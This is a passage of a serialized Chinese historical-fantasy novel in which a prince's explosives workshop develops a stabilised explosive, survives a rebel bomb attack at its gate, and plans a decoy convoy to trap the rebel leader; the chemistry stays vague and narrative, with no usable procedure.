“楚大人,三号酸洗池浓度异常,析出晶体带淡黄色。”一名工匠手持样本呈上。 楚惜灵接过,琉璃镜下仔细端详,又用银针轻触:“杂质,硫铁矿残留,调整酸液比例重新过滤。” “是……” “大人!合成三区温度异常波动,已按预案注入冷却水。”另一工匠急报。 “停炉,检查夹层水道,查清原因前不得重启!”楚惜灵声音冷静。 “是……” “稳定剂,硅藻土吸附效果测试如何。”她转向身边助手。 “回大人,样本一吸附率七成撞击测试,五成爆率,样本二吸附率八成五,爆率三成,仍过高。”助手声音凝重。 “继续试,不同产地黏土,不同粒度,不同比例……”楚惜灵目光沉静,“记录每一次数据。” 这里没有硝烟,却比战场更凶险。 每一次操作,都游走在毁灭边缘。但楚惜灵清冷的脸上,只有全然的专注与坚定。 深渊铸剑,只为掌握那焚天之力。 ??...... 阴山深处,鬼哭岭。地势险恶,终年瘴气弥漫,怪石嶙峋如鬼爪。 一处隐蔽的山坳内,残存的毡房破败不堪,篝火微弱。 赫连豹独臂裹伤,豹头环眼中布满血丝,戾气未消。 顾北辰紫袍染尘,青铜面具碎裂一角,露出苍白阴鸷的半张脸,眼神深处却依旧冰冷如渊。 周围聚集着不足千人的残兵败将,个个面黄肌瘦,眼神惶恐。 “粮食只够三日了。”一名亲卫低声道。 “山下关卡越收越紧,商队断绝采买进不来。”另一人道。 “毛梦极那杀神在外面像狼一样盯着,怎么办啊?”有人声音发颤。 “怕什么!”赫连豹猛地站起,独臂挥舞,“老子还有刀,还有马,冲出去,杀出一条血路!” “冲出去?”顾北辰声音冰冷,“山下层层关卡,金吾卫重兵把守,神机营火枪列阵冲出去送死吗?” “那……怎么办?等死?”赫连豹怒吼。 “等……”顾北辰目光幽深,“等一个机会,等林臻松懈……等变数……” 他走到角落,阴影中,一名黑袍老者(拜火教仅存长老)正在一块石板上刻画着复杂的符号。 “讯息传出去了?”顾北辰低声问。 老者点头,声音嘶哑:“‘夜枭’已放,三日后黑水泽必有回应。” 顾北辰嘴角勾起一抹冰冷的弧度:“林臻,你以为赢了吗?游戏才刚刚开始……” 第728章 送林臻一份大礼 阴山的寒风卷着细碎的雪沫,抽打着断魂谷口焦黑的土地。 凝固的血冰在惨淡的晨光下泛着暗红的光泽,破碎的兵甲和散落的残肢断臂无声地诉说着昨夜的惨烈。 空气中弥漫着浓重到化不开的血腥、焦糊和硫磺硝石的混合气息,刺鼻而压抑。 幸存的将士们相互搀扶着,沉默地清理着战场,收敛着袍泽的遗骸,麻木的脸上刻满疲惫与劫后余生的茫然。 林臻拄着蟠龙金剑,玄甲残破,左肩至肋下的伤口虽经橙萱紧急包扎,每一次呼吸仍牵扯着撕裂般的痛楚。 他脸色苍白,嘴唇干裂,但那双深邃的眼眸锐利如初,沉静地扫视着这片染血的焦土。 橙萱侍立一旁,左肩缠着厚厚的渗血布带,脸色同样苍白,清丽的眼眸中残留着后怕,更多是坚定。 毛梦极枯瘦的身影从尸骸堆中走出,脸上刀疤在晨光下更显狰狞,甲胄破碎,浑身浴血,眼神凶戾如受伤的孤狼。 “殿下,”他声音嘶哑,“赫连豹、顾北辰残部遁入鬼哭岭深处,依托天险,据险死守。瘴气弥漫,地形复杂,强攻伤亡必重。末将已断其水道,焚其外围粮草。困兽犹斗。” 林臻目光沉静如水,“困兽之斗,方显爪牙。传令,增派猎隼营斥候,十二时辰轮值,监控鬼哭岭所有出口。凡有下山取水、觅食者,格杀勿论。另,悬赏。凡擒杀赫连豹、顾北辰者,赏万金,封千户。举报匪踪者,赏百金。” “末将遵命。”毛梦极躬身,枯瘦的手指捏得骨节发白。 “焚雷司进展如何。”林臻的目光转向楚惜灵。 楚惜灵深吸一口气,清冷的声音带着一丝不易察觉的紧绷:“断龙崖工坊一期已竣工。酸洗提纯、高温煅烧、蒸馏结晶工序已稳定运行,硫磺、硝石、木炭粉纯度达标。油状物合成仍处试验阶段。三日前,三号反应釜因冷凝管微漏,温度失控引发小规模爆燃。伤工匠三人,毁设备一套。幸处置及时,未波及库房。” 殿内一片死寂,空气仿佛凝固。 “原因。”林臻的声音依旧平静无波。 “设备密封瑕疵,温控感应迟滞。”楚惜灵道,“已改进设计,加装双冗余冷凝回路,增置水银温度计实时监控。新反应釜三日后可启用。” “油状物威力实测如何。”林臻追问。 楚惜灵眼中闪过一丝微光:“取微量样本,置于精铁砧板,以百斤铁锤三丈高坠击可洞穿三寸铁板。” 殿内响起压抑的吸气声。 “稳定剂呢。”林臻的目光锐利如刀。 “硅藻土吸附最佳配比已锁定。撞击测试百次爆率降至一成。”楚惜灵声音带着凝重,“然长途运输震动、高温环境、静电积累,风险仍存。” “一年之期不变。”林臻声音斩钉截铁,“所需尽予。” “明白。”楚惜灵垂首,清冷的眼眸中燃烧着挑战的火焰。 半月后,燕京行辕紫宸殿。 肃穆空旷,蟠龙柱上素白绸带已撤,唯余金砖地面光洁如镜。 林臻端坐主位,玄色蟠龙常服下伤势未愈,脸色微白,眼神沉静如渊。 萧寒舟手持卷宗,声音平稳:“殿下,裁撤冗吏、削减用度、暂停工事三策,岁省银八十七万两。北燕煤、赤铁矿专营权竞标,晋商‘汇通号’、徽商‘丰裕行’拔得头筹,首期银两一百五十万两已入库。府库尚余一百七十五万两,可支应半年。” “嗯。”林臻颔首,“新政推行如何。” 秃鹫部使者上前一步,躬身道:“回殿下,兀良合台酋长已按令清点部众草场牛羊,造册呈报。流官已入驻,设蒙学堂三所,惠民医馆两处。然近日草场边界,与雪狼部牧民偶有摩擦……” 雪狼部使者连忙接口:“拓跋雄酋长亦已清点部众草场牛羊。摩擦之事实乃误会,皆因草场界限不清……” “草场界限不清?”林臻目光微冷,“清册图舆标注不明?” 两使者语塞,额头见汗。 “传令兀良合台、拓跋雄,”林臻声音平静无波,“十日之内,亲赴争议草场,会同流官,实地勘界,钉桩立碑。逾期不至,或再生事端,流官有权调边军武力清界。所涉部族,赋税加征三成。” “是……是……”两使者脸色发白,连声应诺。 “风隼部慕容风何在?”林臻目光转向另一使者。 使者连忙躬身:“回殿下,酋长偶感风寒,卧床休养,特遣小人……” “风寒?”林臻嘴角勾起一丝冰冷弧度,“传太医院院判,携上等药材,亲赴风隼部诊治。若病情属实,赐药静养。若装病抗命,就地拿下,押解回京。” 使者噗通跪地,声音发颤:“小人即刻传讯!酋长定当亲至!” ...... 鬼哭岭,瘴雾弥漫。 残破毡房内,篝火摇曳,映照着赫连豹独臂的狰狞和顾北辰半张面具下的阴鸷。 空气污浊,弥漫着伤口的腐臭和绝望的压抑。 “水快断了……”一名亲卫声音干涩,“下山取水的兄弟没回来。” “毛梦极……那恶鬼……”赫连豹独眼赤红,拳头捏得咯咯作响。 顾北辰沉默,手指无意识摩挲着腰间一枚黝黑的、刻满细密纹路的骨哨。 “相爷,夜枭有回音了,”黑袍老者佝偻着走进,声音嘶哑如砂纸摩擦,“黑水泽蛇窟已备妥货,三日后子时‘老地方’见。” 顾北辰眼中精光一闪,嘴角勾起冰冷弧度:“林臻,你的焚雷司不是缺‘料’吗,本相送你一份大礼……” 他转向赫连豹:“赫连酋长,想不想出口恶气?” 赫连豹独眼凶光爆射:“说!” “三日后子时,你带精锐袭扰东侧哨卡佯攻,吸引毛梦极主力……”顾北辰声音低沉,“我亲自去取货,一份足以让林臻的宝贝工坊上天的大礼。” “好!”赫连豹低吼,“老子憋够了!” 断龙崖下,深渊工坊。 萤石幽光与鲸油火把交织,映照着楚惜灵清冷专注的侧脸。 她立于高台,琉璃护目镜下,目光锐利如鹰隼,扫视下方新落成的三号反应釜。 陶壁厚重,铜制搅拌桨缓缓转动,冰水夹层循环不息。 工匠赤足棉衣,动作轻缓如抚琴,通过观察孔精准投料。 双冗余冷凝管水汽氤氲,水银温度计液柱稳定。 “硫硝混合液……注入完成……” “木炭粉……按比例……缓加……” “稳定剂……硅藻土……分三次……撒入……” “搅拌……提速……保持低温……” 指令清晰,有条不紊。 空气紧绷如弦,唯有机械运转的低鸣。 突然,温度计液柱微微上跳。 “停!”楚惜灵声音骤冷,“夹层注水,减速!” 工匠反应迅疾。冰水涌入,搅拌放缓。 液柱……缓缓回落。 “继续监控。”楚惜灵声音恢复平稳。 三日后,子时。 阴山东麓哨卡。 木栅高耸,箭楼矗立。 金吾卫哨兵持弩警戒,目光如炬,寒风呼啸,卷起雪沫。 “嗖嗖嗖——!”密集的箭矢毫无征兆地从黑暗中射来!带着凄厉破空声! “敌袭——!”哨兵厉喝!警锣炸响! “杀啊——!”震天的咆哮响起,数百黑影如同饿狼般扑出,赫连豹独臂挥舞弯刀,一马当先,残匪面目狰狞,悍不畏死! “结阵!御敌!”哨卡校尉怒吼! 塔盾竖起,长枪如林,弓弩手反击! “砰!砰!砰!”神机营火枪轰鸣,冲在前面的匪徒如同割草般倒下! “冲!给老子冲!”赫连豹独眼血红,状若疯虎,残匪踩着同伴尸体,疯狂冲击栅栏! “援军!求援!”校尉嘶吼,信鸽冲天而起。 数里外,靖边营大帐。 毛梦极枯瘦身影猛地站起,眼中凶光爆射:“赫连豹?找死,传令一营、二营,随我驰援东哨,三营戒备鬼哭岭西口,四营,机动策应!” “是!”传令兵飞奔而出。 同一时刻,鬼哭岭西侧,隐秘峡谷。 顾北辰紫袍融入夜色,青铜面具幽冷。 身后,十名黑袍死士如同鬼魅,无声潜行。 谷底寒潭,怪石嶙峋。 一处不起眼的岩缝下,水面微动。一名浑身湿透、脸覆蛇鳞纹面具的汉子悄然浮出,手中托着一个密封的、外裹湿泥的陶罐。 “相爷……”汉子声音嘶哑。 顾北辰接过陶罐,入手冰凉沉重。他指尖拂过罐口蜡封,一丝若有若无的杏仁苦味逸散。 “蛇窟的毒涎果然名不虚传……”顾北辰声音冰冷,“林臻的油锅正缺这味猛料” 他挥手,死士递上一袋金锭。 “告诉蛇王合作愉快。”顾北辰转身,身影没入黑暗。 风,更急了。 第729章 伪装 阴山西麓,风雪更急。 铅灰色的云层低垂,压得人喘不过气。 细碎的雪沫被狂风卷起,如同亿万冰针,抽打在裸露的皮肤上,带来刺骨的寒意和尖锐的刺痛。 能见度极低,十步之外,人影模糊。 崎岖的山道上,一辆覆盖着厚厚油布、由两头健壮骡子拉着的平板车,正艰难地前行。 车轮碾过冻土和碎石,发出沉闷的咯吱声,混杂在呼啸的风声中,几不可闻。 驾车的是个裹着厚实羊皮袄、头戴破旧毡帽的老农,佝偻着背,脸上布满风霜刻痕,只露出一双浑浊却异常警惕的眼睛。 他身后,跟着两个同样穿着破旧、缩着脖子的年轻后生,像是他的儿子或伙计。 三人沉默不语,埋头赶路,与这荒山野岭中偶尔出现的贩夫走卒并无二致。 平板车上,油布之下,并非寻常货物。 几个沉重的、用湿泥仔细封裹的陶罐,被牢牢固定在特制的木架中,罐与罐之间填满了厚厚的棉絮和干草。 陶罐冰冷,即使在寒风中,也散发着一丝若有若无的、极淡的杏仁苦味。 顾北辰紫袍早已换下,一身粗布棉衣,脸上涂抹着灰泥,混在两名“伙计”之中,低垂着头,眼神却如同鹰隼般锐利,透过风雪的缝隙,扫视着周围每一处可能藏匿危险的阴影。 他怀中,紧抱着那个最关键的、外裹湿泥的陶罐,如同抱着一条随时可能反噬的毒蛇。黑袍死士分散在前后数十步外,同样伪装成山民樵夫,暗中警戒。 “相爷前面就是‘鹰嘴涧’。”一名伪装成伙计的死士压低声音,声音被风声撕扯得模糊不清,“过了涧,离‘断龙崖’就不远了。” 顾北辰微微点头,没有说话。手指无意识地摩挲着冰冷的陶罐壁。 成败在此一举。 这份“毒涎”,必须安全送达焚雷司的核心区域。 林臻你的死期近了。 同一时刻,阴山东麓哨卡。 战斗已近尾声。赫连豹的佯攻部队在毛梦极主力驰援下,遭遇毁灭性打击。 残匪尸横遍野,赫连豹本人身中数箭,左腿被火枪铅弹洞穿,血流如注,在几名亲卫拼死掩护下,狼狈不堪地遁入山林深处,留下满地狼藉和浓重的血腥味。 “追!活要见人!死要见尸!”毛梦极眼中凶光炽盛,长刀滴血,枯瘦的脸上刀疤在火光下狰狞蠕动。 “将军!”一名浑身浴血的“猎隼营”斥候策马狂奔而来,滚鞍下马,单膝跪地,声音急促嘶哑,“西口急报。子时三刻,鬼哭岭西侧‘黑水峡’发现小股人马活动痕迹!足迹向东南‘断龙崖’方向延伸,疑似顾北辰!” 毛梦极猛地勒住战马,眼中凶光爆射:“西口?东南?断龙崖?” 他脑中瞬间闪过赫连豹疯狂的佯攻,顾北辰的狡诈阴险,以及楚惜灵关于“油状物”极度危险的描述。 “调虎离山!毒蛇目标是焚雷司!” 他枯瘦的手指捏得骨节爆响,声音如同寒冰砸落:“传令!一营!继续清剿赫连豹残部!二营、三营!随我急奔断龙崖!四营!封锁黑水峡所有出口!发现可疑者格杀勿论!快!” “是!”传令兵轰然应诺,策马狂奔。 毛梦极猛地调转马头,玄色披风在风雪中划出一道凌厉的弧线:“儿郎们!随老子截杀毒蛇!护我工坊!” “杀——!”震天的怒吼响起! 数百铁骑如同黑色的钢铁洪流,瞬间启动! 沉重的马蹄踏碎冰雪,扬起漫天雪沫,如同山崩海啸般,向着断龙崖方向狂飙而去! 大地在铁蹄下颤抖! 断龙崖下,深渊工坊。 萤石幽光与鲸油火把交织,映照着楚惜灵清冷专注的侧脸。 新启用的三号反应釜运行平稳,铜制搅拌桨匀速转动,冰水夹层循环不息,水银温度计液柱稳定。 工匠们动作轻缓,神情专注,空气中弥漫着硫磺、硝石和一种难以言喻的化学制剂气息。 “楚大人,三号釜压力表微有波动。”一名工匠盯着釜体上的铜制压力计,声音带着一丝紧张。 楚惜灵快步上前,琉璃护目镜下目光锐利如电:“波动范围?” “上下半格,周期约十息。”工匠声音紧绷。 楚惜灵仔细观察压力计指针的细微跳动,又侧耳倾听釜内搅拌桨的声音。“搅拌轴可能有轻微偏心或轴承润滑不足。”她声音冷静,“停釜降温,开检修口,检查轴承!” “是!”工匠连忙操作。 巨大的釜体缓缓停止运转,泄压阀发出轻微的嘶嘶声。 检修口打开,一股温热的气流涌出。 工匠小心翼翼地探入特制的长柄工具进行检查。 “报——!”一名守卫匆匆跑入,声音带着一丝惊慌,“楚大人!谷外东侧警戒哨发现不明身份者窥探,人数不详,身手诡秘,已退入山林!” 楚惜灵眉头微蹙:“加强警戒,双倍岗哨,启动外围防御机关!” “是!” “报——!”又一名守卫冲入,“西侧谷口发现一辆可疑骡车,伪装成山货贩子,要求入谷避雪,守卫盘查发现车辙印异常深重,所载绝非山货!” 楚惜灵心中警铃大作! 车辙深重? 绝非山货? 顾北辰的毒液? “关闭谷口,升起吊桥,弓弩手上墙,火枪队戒备,没有我的手令任何人不得入谷!”楚惜灵声音清冷决断,“通知‘焚雷卫’一级战备!” “是!”守卫飞奔而出。 工坊内气氛瞬间紧绷! 工匠们停下手中工作,脸上露出紧张神色。 守卫迅速集结,弓弩上弦,火枪装填,冰冷的杀气弥漫开来。 断龙崖外,狭窄的谷口。 厚重的木制吊桥缓缓升起,隔绝了内外。 高耸的石墙上,金吾卫“焚雷卫”士兵手持劲弩火枪,目光冰冷地注视着谷外那辆孤零零的骡车和三个“山民”。 “军爷!行行好!风雪太大!让俺们进去避避吧!”老农打扮的死士佝偻着腰,声音沙哑哀求。 “车上装的什么?”守卫队长厉声喝问。 “就……就是些山货……蘑菇……干果……”另一名“伙计”结结巴巴地回答。 “山货?”队长冷笑,“车辙这么深?打开油布,检查!” “这风雪大,开了怕湿了货……”老农眼神闪烁。 “少废话,打开!”队长长刀出鞘半寸,寒光闪烁。 第730章 毒液爆炸 顾北辰混在伙计中,低垂着头,眼中寒光一闪。 他手指在怀中陶罐上轻轻敲击了一下,发出微不可查的特定节奏。 谷外山林中,数道黑影如同鬼魅般悄然移动,弓弩上弦,瞄准了墙头的守卫。 “动手!”顾北辰低喝! “杀——!”伪装的老农和伙计猛地暴起,羊皮袄下抽出短刀匕首,如同猎豹般扑向守卫队长! 同时,山林中弓弦震动,数支淬毒弩箭带着凄厉破空声射向墙头! “敌袭——”守卫队长怒吼,挥刀格挡。 “噗噗噗!”墙头数名守卫中箭惨叫着栽倒。 “放箭!放箭!”守卫队长嘶吼。 “嗖嗖嗖——”墙头箭雨泼洒而下。 两名扑上的死士瞬间被射成刺猬,顾北辰身形诡异一闪,避开箭雨,枯瘦的手掌猛地拍在骡车一个不起眼的木楔上。 “咔嚓!”机括轻响,骡车底板猛地弹开,几个裹着湿泥的陶罐滚落在地。 “毒液,小心!”守卫队长目眦欲裂。 顾北辰眼中闪过一丝疯狂,猛地将怀中陶罐狠狠砸向最近的一个陶罐。 “不——”守卫队长绝望嘶吼。 “轰——!” 一声震耳欲聋的巨响! 两个陶罐猛烈撞击爆炸! 恐怖的冲击波夹杂着炽热的火焰和致命的毒液碎片,如同风暴般席卷开来! “轰!轰!轰!”连锁爆炸,其余陶罐被波及,更大的爆炸接连响起。 谷口瞬间化为一片火海,碎石横飞,木栅粉碎,守卫士兵惨叫着被火焰吞噬,被冲击波撕碎,被毒液腐蚀,惨烈无比。 顾北辰在爆炸的瞬间,已如同鬼魅般向后急掠,同时甩出一件浸透火油的披风,挡住大部分飞溅的毒液和碎片,但依旧被气浪狠狠掀飞,重重撞在岩壁上,喉头一甜,喷出一口鲜血! 他挣扎着爬起,紫袍焦黑破碎,脸上灰泥剥落,露出苍白阴鸷的半张脸,眼中充满怨毒和一丝惊骇。 这毒液的威力远超预期! “冲进去!”顾北辰抹去嘴角血迹,声音嘶哑狠厉,残余的死士从山林中冲出,扑向被炸开的谷口缺口! “守住缺口!”守卫队长浑身浴血,半边脸被毒液腐蚀得血肉模糊,却依旧挥舞长刀,状若疯虎。 残存的焚雷卫士兵红着眼,用身体堵住缺口,与冲来的死士展开惨烈的白刃战! 刀光剑影,血肉横飞,每一秒都有人倒下! 工坊内,巨大的爆炸声让整个山体都为之震动,碎石簌簌落下! “谷口!”楚惜灵脸色煞白,清冷的眼眸中闪过一丝惊骇。 毒液被引爆了! “焚雷卫顶住,工匠撤入核心区,关闭隔离闸门!”楚惜灵声音带着不容置疑的决断,“启动自毁预案三号!” “是!”工匠们虽惊不乱,迅速撤向工坊最深处。 沉重的精铁闸门缓缓落下,隔绝了外界的厮杀声。 楚惜灵站在核心控制台前,看着监控谷口战况的水晶镜,手指悬在一个标注着“三号”的红色扳手上方。 自毁预案三号引爆预设的炸药,塌方掩埋整个工坊入口区域同归于尽,不到万不得已…… 就在这时! “轰隆隆——!”大地再次震动,这次来自工坊内部! “怎么回事?”楚惜灵猛地转身。 “报——!”一名工匠满脸惊恐地跑来,“三号反应釜检修口泄露,高温蒸汽喷出,轴承……轴承断裂,搅拌桨卡死,压力急剧上升!” 楚惜灵瞳孔骤缩! 祸不单行,谷口强敌未退,内部反应釜又失控! 压力急剧上升,若处理不当釜内的高温高压混合物足以将整个核心区炸上天! “降温,泄压!”楚惜灵声音冷静得可怕,“所有人退后,穿石棉服,取冰水,准备强制冷却!” 深渊工坊,内忧外患,危在旦夕! 谷外风雪中,铁蹄如雷! 毛梦极率领的铁骑洪流,终于冲破风雪,出现在断龙崖外! 眼前景象让他目眦欲裂! 谷口化为火海,毒烟弥漫,残肢断臂遍地,焚雷卫士兵正与黑袍死士在缺口处浴血厮杀,顾北辰的身影在火光中一闪而逝。 “顾北辰!纳命来——!”毛梦极发出如同受伤野兽般的咆哮,长刀高举!“儿郎们,杀光这些杂碎,护我工坊!” “杀——!”数百铁骑如同愤怒的钢铁洪流,狠狠撞入战团。 冰冷的枪锋瞬间洞穿数名死士的胸膛,战马的铁蹄将敌人踏成肉泥,所过之处,人仰马翻,血肉横飞。 顾北辰看着如同魔神般杀来的毛梦极,眼中闪过一丝不甘和怨毒。 谷口已破,但工坊核心闸门紧闭,内部爆炸声不断,楚惜灵没那么容易死。 毒液已毁,强攻无益。 “撤!”顾北辰声音嘶哑狠厉,毫不犹豫地转身,带着残余的死士,如同毒蛇般钻入风雪弥漫的山林,瞬间消失无踪。 “追!”毛梦极怒吼,策马欲追。 “将军!工坊内部有爆炸声!楚大人恐有危险!”副将急呼。 毛梦极猛地勒住马缰,枯瘦脸上肌肉抽搐,眼中凶光与挣扎交织。 最终,他狠狠一咬牙:“清理残敌,救治伤员,封锁谷口,随我进谷!” 沉重的核心区闸门缓缓升起。 毛梦极带人冲入,眼前景象让他倒吸一口冷气。 三号反应釜旁一片狼藉,高温蒸汽弥漫,刺鼻的气味充斥鼻腔。 釜体通红,发出不堪重负的呻吟。楚惜灵和几名工匠穿着厚重的石棉服,正指挥着用特制的水龙向釜体喷射冰水混合物,强制降温。釜顶的泄压阀发出尖锐的嘶鸣,喷出灼热的气流。 “压力降了!”一名工匠嘶哑地喊道。 楚惜灵脱下面罩,清冷的脸上沾满汗水和烟灰,嘴唇紧抿,眼中带着一丝劫后余生的疲惫,但更多的是冷静。 “关闭泄压阀,检查密封,准备重启检修。” 她转过身,看向毛梦极,声音平静:“毛将军……谷外……” “顾北辰跑了。”毛梦极声音嘶哑,带着不甘,“毒液毁了,谷口伤亡惨重。” 楚惜灵沉默片刻,目光扫过一片狼藉的工坊和惊魂未定的工匠。 “工坊还在。” 她声音清冷,“毒液虽毁,配方还在我们手中。” 第731章 明修栈道 断龙崖的寒风裹挟着未散的硝烟与血腥,在深渊工坊的残骸间呜咽盘旋。 焦黑的谷口碎石嶙峋,凝固的毒液与血冰混杂,散发着刺鼻的杏仁苦味与焦糊气息。 焚雷卫的士兵沉默地清理着战场,收敛袍泽焦黑残缺的遗骸,麻木的脸上刻满疲惫与沉痛。 空气中弥漫着劫后余生的压抑与挥之不去的危机感。 核心区闸门内,蒸汽弥漫,刺鼻的化学气味尚未散尽。 三号反应釜如同受伤的巨兽,釜体通红褪去,泄压阀的嘶鸣平息,只余下冷却水流淌的滴答声。 楚惜灵褪下厚重的石棉服,靛蓝工装被汗水浸透,清冷的脸上沾满烟灰,嘴唇紧抿,眼神却锐利如初,仔细检查着釜体裂缝与断裂的轴承。 工匠们在她指挥下,动作迅捷而谨慎地拆卸损坏部件,更换密封圈,修复冷却管路。 “釜体轻度变形,内胆无损……”楚惜灵指尖拂过冰冷的金属表面,声音带着一丝沙哑,“轴承彻底报废,需重铸,密封系统需全面升级。” “楚大人,毒液毁了。”一名老工匠声音低沉,带着忧虑。 “慌什么,配方还在脑子里。”楚惜灵目光沉静,指向角落堆积的矿石样本,“毒液只是载体。核心是工艺。原料纯度,温度控制,混合比例,稳定剂这些才是根本。” 她拿起一块赤铁矿样本,“不同矿脉杂质成分各异,对最终产物稳定性影响巨大。顾北辰他不懂这些。他只知道破坏。” 她转身,清冷的眼眸扫过一片狼藉的工坊。 “重建需要时间。但我们有了更重要的东西,那就是数据。”她拿起一份沾着油污的记录,“每一次失败,每一次爆炸都告诉我们什么不能做。下一次我们会做得更好。” 燕京行辕,紫宸殿。 烛火通明,驱不散深秋的寒意。 林臻端坐主位,玄色蟠龙常服下伤势未愈,脸色微白,眼神却深邃如寒潭,映照着跳跃的烛光。 毛梦极枯瘦的身影立在阶下,甲胄上沾染着未干的泥雪与暗红血渍,脸上刀疤在光影下更显狰狞,眼中凶光内敛,却掩不住一丝疲惫与不甘。 萧寒舟、橙萱侍立两侧,神情凝重。 “顾北辰跑了。”毛梦极声音嘶哑,带着压抑的怒火,“毒液毁了。谷口焚雷卫阵亡四十七人,重伤二十八人。工坊受损不轻。” “工坊还在。”林臻声音平静无波,“灵儿还在,没事。” “是……”毛梦极低头,“末将无能。” “非你之过。”林臻目光沉静,“顾北辰狡诈如狐。以赫连豹为饵,调虎离山。以毒液为器,声东击西。呵,没想到短短两年,此獠已成心腹大患。” “末将请命!率‘猎隼营’精锐深入阴山,搜天刮地,定提其首级来见!”毛梦极眼中凶光一闪。 “搜山?”林臻微微摇头,“阴山广袤,沟壑纵横。顾北辰经营多年必有隐秘巢穴,盲目搜寻,如同大海捞针,徒耗兵力。” “那如何是好?”毛梦极握紧刀柄。 “引蛇出洞。”林臻嘴角勾起一丝冰冷的弧度,“他不是想要‘焚雷司’吗?不是想要配方吗?我们给他。” 殿内众人皆是一怔。 “殿下?”萧寒舟面露疑惑。 “灵儿逆推配方,已有眉目。”林臻缓缓道,“然此物凶险,运输存储,难如登天。顾北辰虽有‘蛇窟毒涎’,却无稳定之法。他比我们更急。” “殿下的意思是……”橙萱清丽的眼眸中闪过一丝明悟。 “放出风声。”林臻声音低沉,“就说焚雷司遭袭,损失惨重,然楚惜灵于废墟之中,偶得灵感,已突破稳定剂难关!新制焚天雷威力倍增,且可安全存储运输!不日将押送首批成品及核心配方前往沪县深水港,交由水师秘密测试!” “假配方?假运输?”毛梦极眼中凶光爆射,“诱饵!” “不错。”林臻目光如电,“顾北辰绝不会放过这个机会。劫夺配方或摧毁运输队,他必出手!” “此计甚险。”萧寒舟沉吟,“师父,若顾北辰不上当的话怎么办?” “他会上当。”林臻语气笃定,“焚天雷是他梦寐以求的利器,亦是悬在他头顶的利剑。他比我们更怕此物落入朝廷之手。此其一。其二,他新败,急需一场胜利,挽回颓势,震慑宵小。其三……”林臻眼中寒光一闪, “他自负。以为看透了本世子。” “那运输路线如何设定?”毛梦极问道。 “明修栈道,暗度陈仓。”林臻手指蘸水,在案几上勾勒,“明线:由燕京出发,经黑石关、落鹰峡、饮马河,大张旗鼓,押送重兵把守的配方车队。暗线:由楚惜灵亲率精锐,携真正改良后的稳定剂样本及部分工艺图,轻装简从,走白石涧、鬼见愁小路,秘密南下沪县。” “末将愿领明线!”毛梦极眼中凶光炽盛,“定让顾北辰有来无回!” “不。”林臻微微摇头,“明线需一位足够分量的鱼饵。萧寒舟!” “弟子在!” “由你假扮本世子心腹幕僚,持假配方金匮,坐镇明线车队。毛梦极率靖边营主力,明为护卫,实则沿途设伏!” “末将领命!”毛梦极躬身。 “橙萱!” “在!” “你率绣衣卫精锐,暗中护卫楚惜灵走暗线。务必确保其与样本安全抵达沪县!” “是!”橙萱郑重应道。 “本世子亲率金吾卫神机营坐镇中军,机动策应!此役务必将顾北辰及其党羽一网打尽!” 消息如同长了翅膀,迅速在燕京及周边州县传开。 茶馆酒肆,街头巷尾,窃窃私语不绝。 “听说了吗?焚雷司那位女大人真是神了!工坊都炸成那样了,她愣是从废墟里悟出了稳定焚天雷的法子!” “可不是!据说新制的雷,威力更大,还能安稳地运走!朝廷要派重兵押送去沪县呢!” “这下顾北辰那老狗该急眼了!他费尽心机毁了毒液,结果人家搞出了更厉害的!” “嘘……小声点!不要命了!” 黑水泽深处,蛇窟。 潮湿阴冷的洞窟中,蛇鳞摩擦的窸窣声令人毛骨悚然。 顾北辰紫袍染尘,青铜面具下的半张脸在幽绿的磷火映照下更显阴鸷。 黑袍老者(蛇王)佝偻着身子,声音嘶哑:“相爷,燕京传来的消息,焚雷司突破了稳定剂,新雷可储运,配方不日押送沪县。” “稳定剂?可储运?”顾北辰眼中寒光一闪,手指无意识地摩挲着冰冷的石壁,“楚惜灵果然不能留。” “消息可靠?”蛇王浑浊的眼珠转动。 “宁可信其有。”顾北辰声音冰冷,“林臻小儿想引我出手?哼,本相就遂了他的愿!” “相爷打算……” “劫配方是下策。”顾北辰嘴角勾起一丝残忍的弧度,“毁掉它连同押送的人一起埋葬!让林臻竹篮打水一场空,让天下人知道与我顾北辰为敌的下场!” “路线是什么?” “明线黑石关、落鹰峡、饮马河必是陷阱。”顾北辰目光幽深,“林臻用兵正奇相合。明线为饵暗线必在险僻之处。白石涧鬼见愁那条路够险,也够快。” “相爷英明。”蛇王低笑,如同夜枭啼鸣。 “调集黑鳞卫(顾北辰秘密培养的死士)!联络秃鹫、雪狼、风隼三部残余死忠!告诉他们机会来了,报仇雪恨就在今朝!” 顾北辰声音狠厉,“目标白石涧,鬼见愁截杀楚惜灵,夺样本,毁图纸,不留活口!” “是!”蛇王躬身,身影融入阴影。 断龙崖下,重建中的焚雷司。 楚惜灵清冷的脸上带着一丝疲惫,但眼神专注。 她手中拿着一个特制的双层陶罐,内胆以水银锡箔衬里,外裹湿泥,罐内盛放着少量粘稠的、泛着油光的液体——改良后的稳定剂样本。 “撞击测试……千次……爆率……半成……” “震动测试……模拟百里运输……爆率……一成……” “高温测试……五十度静置二十四时辰……稳定性……无变化……” 助手的声音带着压抑的兴奋。 楚惜灵微微点头,眼中闪过一丝微光。“封装。准备出发。” “大人,此去凶险万分啊……”助手担忧道。 “凶险才有价值。”楚惜灵声音平静,将陶罐小心放入特制的、内衬棉絮弹簧的铅盒中,“此物关系国运。不容有失。” 三日后,子夜。 燕京北门悄然开启。一支由数百精锐金吾卫护卫的庞大车队,在火把照耀下缓缓驶出。 车队中央,一辆覆盖着厚重油布、由八匹健马拉动的巨大马车格外醒目,周围甲士林立,戒备森严。 萧寒舟一身文士袍,端坐车中,手持一个鎏金锁链的紫檀木匣,神色肃穆。 毛梦极玄甲长刀,策马行在队首,枯瘦的脸上刀疤狰狞,眼神锐利如鹰隼,扫视着黑暗中的每一处阴影。 车队大张旗鼓,直奔黑石关方向。 同一时刻,燕京西郊,白石涧入口。 寒风凛冽,月色被乌云遮蔽。 一支仅有数十人的小队,如同幽灵般悄然集结。 人人黑衣蒙面,背负劲弩短刀,动作迅捷无声。 楚惜灵一身靛蓝劲装,外罩黑色斗篷,清冷的眼眸在夜色中沉静如水。 橙萱一身黑色皮甲,短剑悬腰,眼神锐利如刀。 她身后,是二十名精挑细选的绣衣卫顶尖高手。 “路线白石涧,鬼见愁,渡口换马,直下沪县。”橙萱声音低沉,“沿途皆有暗哨接应。然此路险绝,易遭伏击。诸位务必打起十二分精神,护楚大人周全!” “是!”众人低应,声音肃杀。 “出发!”橙萱挥手。 小队如同融入夜色,悄无声息地没入崎岖险峻的白石涧。 第732章 不愧是我的女人 